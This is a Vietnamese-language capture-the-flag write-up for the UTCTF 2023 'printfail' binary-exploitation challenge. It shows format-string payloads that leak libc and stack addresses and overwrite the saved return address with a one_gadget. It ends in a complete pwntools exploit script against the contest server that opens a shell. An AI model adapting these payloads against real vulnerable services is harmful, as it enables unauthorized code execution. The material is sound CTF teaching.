Try   HackMD

(writeup) UT_CTF'23

printfail

  • check file

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • checksec

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

full giáp :)))

  • đề sẽ nhảy vào hàm run_round trước

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • phân tích:
  • trong file k có hàm đọc flag lẫn system
  • hướng chính: ret2libc
  • ta sẽ nhập 1 chuỗi bất kì, sau đó nó sẽ so sánh độ dài chuỗi đó với số 1, nếu bé hơn thì đúng còn không sẽ trả về gtri False
  • khi trả về False thì sẽ end chương trình
  • vì ret2libc nên ta sẽ leak libc từ lỗi fmtstr

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • tại %13, nhưng sau khi ta leak thì end mất tiu r, ta phải khiến cho chương trình chạy tiếp
  • thì dựa vào hàm while trong function main ta sẽ lặp ở đó
  • vậy để lặp thì biến v4 đó vẫn là "1"(True)
  • logical thinking: byte newline? (\n), thử nhưng k được, null byte (\0), cũng sai
  • để ý thấy:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • sau khi nhập chuỗi bất kì, và sau lệnh strlen() thì bước này địa chỉ cuối là 01
  • ni thì ta lại có :

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • tại địa chỉ đó trở về 0 (False) sau lệnh cmp
  • vậy ta cần làm là khiến nó khác 0
  • nhận thấy đó là %7, vậy ta vừa có thể leak libc, vừa khiến ở %7 khác 0

%13$p%7$n

  • như vậy chương trình đã cho ta nhập tiếp
  • ta cần phải kiểm tra cả libc trên server có trùng với local hay không thì câu trả lời là KHÔNG
  • ta sẽ tìm kiếm libc ở web libc.rip
  • thì nhận dc libc6_2.31-0ubuntu9.9_amd64.so là kết quả trùng khớp nhất, ta sẽ pwninit thành "printfail_patched"
  • ở bài này ta sẽ sử dụng 1 công cụ là one_gadget để tạo shellcode, one_gadget sẽ ghi đè cái __libc_start_main__ret
  • trước khi nhập lần 2 thì ta thấy:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • tại __libc_start_main_ret là save_rip, thì khi nhận dc hint chất lượng, ta phải khiến stack ở %15 trỏ đến save_rip để thực thi one_gadget
  • ta sẽ leak stack ra trước rồi tìm addr_saved_rip

%15$p%7$n

  • lưu ý là tìm addr của save_rip thì ta phải tìm offset, vì stack linh động

0x007fffffffde88 - 0x007fffffffdd98
= 0xf0

  • địa chỉ addr_saved_rip:

ret = stack_leak - 0xf0

  • thế thì ta sẽ thay đổi dữ liệu trên stack bằng %c và %n

payload = f'%8c%7$n%{ret & 0xffff - 8}c%15$hn'.encode()

  • %8c%7$n là để chương trình chạy tiếp, ret ta ghi 2 byte nên dùng toán tử "&" với 0xffff, "-8" là do phía trước ghi 8 byte của %8c và %15$hn là ở stack màu tím ta đg đề cập tới
  • cái tools "one_gadget" thì ta sẽ cắt ra làm 2 phần, 2 byte và 1 byte (do thấy chỉ khác nhau 3 byte thui)

part1 = one_gadget & 0xffff
part2 = one_gadget >> 16 & 0xff

  • về phần offset của one_gadget thì ta cứ để sau, tutu tính

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

one_gadet = libc.address + offset

  • ta đã ghi đè 2 byte của addr_saved_rip r thì ta sẽ ghi dè tiếp nội dung trong save_rip

payload = f'%8c%7$n%{part1 - 8}c%43$hn'.encode()

  • %43 là của stack tím de88
  • sau đó ghi tiếp:

payload = f'%8c%7$n%{(ret+2) & 0xffff - 8}c%15$hn'.encode()

  • "+2" là ghi tiếp 1 byte đã ghi 2 byte trước đó
  • rồi ghi tiếp part2

payload = f'%{part2}c%43$hhn'.encode()

  • vì k muốn chạy tiếp vòng lặp nữa nên ở đây bỏ luôn %8c%7$n và bỏ "-8"
  • bước này xong, ta sẽ dừng ngay tại ret của main để kiểm tra thanh ghi, so sánh với one_gadget cái nào thoả thì lấy offset đó
  • sau khi chạy execve, ta cần gửi thêm "/bin/sh"

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./printfail_patched',checksec=False)
libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so',checksec=False)

#p = process(exe.path)
p = remote('puffer.utctf.live', 4630)

#gdb.attach(p, gdbscript='''
	#b*run_round+75
	#b*main+123
	#c
	#''')
#input()

payload = b'%13$p%7$n'

p.sendlineafter(b'do-overs.\n',payload)

libc_leak = int(p.recvline()[:-1],16)
libc.address = libc_leak - 147587
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

one_gadget = libc.address + 0xe3b01
log.info("one_gadget: " + hex(one_gadget))

payload = b'%15$p%7$n'

p.sendlineafter(b'chance.\n',payload)

stack_leak = int(p.recvline()[:-1],16)
ret = stack_leak - 0xf0
log.info("stack_leak: " + hex(stack_leak))
log.info("ret: " + hex(ret & 0xffff))

payload = f'%8c%7$n%{ret & 0xffff - 8}c%15$hn'.encode()

p.sendlineafter(b'chance.\n',payload)

part1 = one_gadget & 0xffff
part2 = one_gadget >> 16 & 0xff

payload = f'%8c%7$n%{part1 - 8}c%43$hn'.encode()

p.sendlineafter(b'chance.\n',payload)

payload = f'%8c%7$n%{(ret+2) & 0xffff - 8}c%15$hn'.encode()

p.sendlineafter(b'chance.\n',payload)

payload = f'%{part2}c%43$hhn'.encode()

p.sendlineafter(b'chance.\n',payload)

p.sendline(b'/bin/sh')

p.interactive()

utflag{one_printf_to_rule_them_all}